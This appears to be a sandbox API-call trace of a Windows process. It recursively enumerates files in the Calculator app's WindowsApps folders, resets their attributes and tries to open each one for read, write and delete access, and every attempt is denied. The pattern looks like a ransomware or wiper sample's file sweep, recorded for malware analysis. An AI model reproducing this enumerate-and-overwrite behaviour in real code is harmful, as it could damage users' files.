	[0090.416] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorStoreLogo.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.417] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorStoreLogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorstorelogo.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.417] GetLastError () returned 0x5
	[0090.417] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorStoreLogo.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.417] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebcda8) returned 1
	[0090.417] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c9cf8dd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4c9cf8dd, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4c9cf8dd, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalculatorWideTile.contrast-black_scale-100.png", cAlternateFileName="")) returned 1
	[0090.417] wcscmp (_String1="CalculatorWideTile.contrast-black_scale-100.png", _String2=".") returned 1
	[0090.417] wcscmp (_String1="CalculatorWideTile.contrast-black_scale-100.png", _String2="..") returned 1
	[0090.417] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x148) returned 0x2e347a8
	[0090.417] wcscpy (in: _Dest=0x2e347a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.417] wcscat (in: _Dest=0x2e347a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.417] wcscat (in: _Dest=0x2e347a8, _Source="CalculatorWideTile.contrast-black_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorWideTile.contrast-black_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorWideTile.contrast-black_scale-100.png"
	[0090.417] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorWideTile.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorwidetile.contrast-black_scale-100.png")) returned 0x20
	[0090.429] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorWideTile.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.430] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorWideTile.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorwidetile.contrast-black_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.430] GetLastError () returned 0x5
	[0090.430] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorWideTile.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.430] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e347a8) returned 1
	[0090.430] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c9f5b36, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4c9f5b36, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4c9f5b36, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalculatorWideTile.contrast-white_scale-100.png", cAlternateFileName="")) returned 1
	[0090.430] wcscmp (_String1="CalculatorWideTile.contrast-white_scale-100.png", _String2=".") returned 1
	[0090.430] wcscmp (_String1="CalculatorWideTile.contrast-white_scale-100.png", _String2="..") returned 1
	[0090.430] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x148) returned 0x2e347a8
	[0090.430] wcscpy (in: _Dest=0x2e347a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.430] wcscat (in: _Dest=0x2e347a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.430] wcscat (in: _Dest=0x2e347a8, _Source="CalculatorWideTile.contrast-white_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorWideTile.contrast-white_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorWideTile.contrast-white_scale-100.png"
	[0090.430] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorWideTile.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorwidetile.contrast-white_scale-100.png")) returned 0x20
	[0090.431] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorWideTile.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.431] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorWideTile.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorwidetile.contrast-white_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.431] GetLastError () returned 0x5
	[0090.431] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorWideTile.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.431] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e347a8) returned 1
	[0090.431] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c9f5b36, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4c9f5b36, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4c9f5b36, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalculatorWideTile.scale-100.png", cAlternateFileName="")) returned 1
	[0090.431] wcscmp (_String1="CalculatorWideTile.scale-100.png", _String2=".") returned 1
	[0090.431] wcscmp (_String1="CalculatorWideTile.scale-100.png", _String2="..") returned 1
	[0090.431] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12a) returned 0x4ebc2b0
	[0090.431] wcscpy (in: _Dest=0x4ebc2b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.431] wcscat (in: _Dest=0x4ebc2b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.431] wcscat (in: _Dest=0x4ebc2b0, _Source="CalculatorWideTile.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorWideTile.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorWideTile.scale-100.png"
	[0090.431] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorWideTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorwidetile.scale-100.png")) returned 0x20
	[0090.431] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorWideTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.432] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorWideTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorwidetile.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.432] GetLastError () returned 0x5
	[0090.432] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorWideTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.432] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc2b0) returned 1
	[0090.432] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c9f5b36, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4c9f5b36, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4c9f5b36, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalculatorWideTile.scale-100.png", cAlternateFileName="")) returned 0
	[0090.432] FindClose (in: hFindFile=0x477a7a8 | out: hFindFile=0x477a7a8) returned 1
	[0090.432] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502a2c8) returned 1
	[0090.433] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491c8b0) returned 1
	[0090.433] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491ed98) returned 1
	[0090.433] FindNextFileW (in: hFindFile=0x46a8298, lpFindFileData=0x502a798 | out: lpFindFileData=0x502a798*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xee789c53, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xee789c53, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xee789c53, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0090.433] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0090.433] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0090.433] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11e) returned 0x2e347a8
	[0090.433] wcscpy (in: _Dest=0x2e347a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0090.433] wcscat (in: _Dest=0x2e347a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0090.433] wcscat (in: _Dest=0x2e347a8, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0090.433] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x122) returned 0x2e348d0
	[0090.433] wcscpy (in: _Dest=0x2e348d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0090.433] wcscat (in: _Dest=0x2e348d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0090.433] wcscat (in: _Dest=0x2e348d0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0090.433] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502c948
	[0090.433] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xee789c53, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xee789c53, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xee789c53, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a7a8
	[0090.434] wcscmp (_String1=".", _String2=".") returned 0
	[0090.434] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xee789c53, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xee789c53, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xee789c53, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.434] wcscmp (_String1="..", _String2=".") returned 1
	[0090.434] wcscmp (_String1="..", _String2="..") returned 0
	[0090.434] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xee789c53, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xee789c53, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xee789c53, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0090.434] FindClose (in: hFindFile=0x477a7a8 | out: hFindFile=0x477a7a8) returned 1
	[0090.434] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502c948) returned 1
	[0090.434] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e348d0) returned 1
	[0090.434] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e347a8) returned 1
	[0090.434] FindNextFileW (in: hFindFile=0x46a8298, lpFindFileData=0x502a798 | out: lpFindFileData=0x502a798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c9f5b36, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4c9f5b36, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4c9f5b36, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x950, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0090.434] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0090.434] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0090.434] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4778060
	[0090.434] wcscpy (in: _Dest=0x4778060, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0090.434] wcscat (in: _Dest=0x4778060, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0090.434] wcscat (in: _Dest=0x4778060, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri"
	[0090.434] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri")) returned 0x20
	[0090.437] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0090.437] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.437] GetLastError () returned 0x5
	[0090.437] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0090.437] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778060) returned 1
	[0090.437] FindNextFileW (in: hFindFile=0x46a8298, lpFindFileData=0x502a798 | out: lpFindFileData=0x502a798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c9f5b36, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4c9f5b36, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4c9f5b36, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x950, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 0
	[0090.437] FindClose (in: hFindFile=0x46a8298 | out: hFindFile=0x46a8298) returned 1
	[0090.437] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502a798) returned 1
	[0090.437] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e33e70) returned 1
	[0090.438] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4767ee8) returned 1

Thread:
	id = 1028
	os_tid = 0x1c80

	[0082.629] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x47c80e0
	[0082.629] wcscpy (in: _Dest=0x47c80e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe"
	[0082.629] wcscat (in: _Dest=0x47c80e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\"
	[0082.629] wcscat (in: _Dest=0x47c80e0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\*"
	[0082.629] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502a060
	[0082.629] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x502a060 | out: lpFindFileData=0x502a060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c079ab6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xee763a10, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xee763a10, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a82d8
	[0082.630] wcscmp (_String1=".", _String2=".") returned 0
	[0082.630] FindNextFileW (in: hFindFile=0x46a82d8, lpFindFileData=0x502a060 | out: lpFindFileData=0x502a060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c079ab6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xee763a10, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xee763a10, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.634] wcscmp (_String1="..", _String2=".") returned 1
	[0082.634] wcscmp (_String1="..", _String2="..") returned 0
	[0082.634] FindNextFileW (in: hFindFile=0x46a82d8, lpFindFileData=0x502a060 | out: lpFindFileData=0x502a060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c079ab6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4c0c5f69, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4c0c5f69, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x69f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.634] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.634] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.635] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x4773710
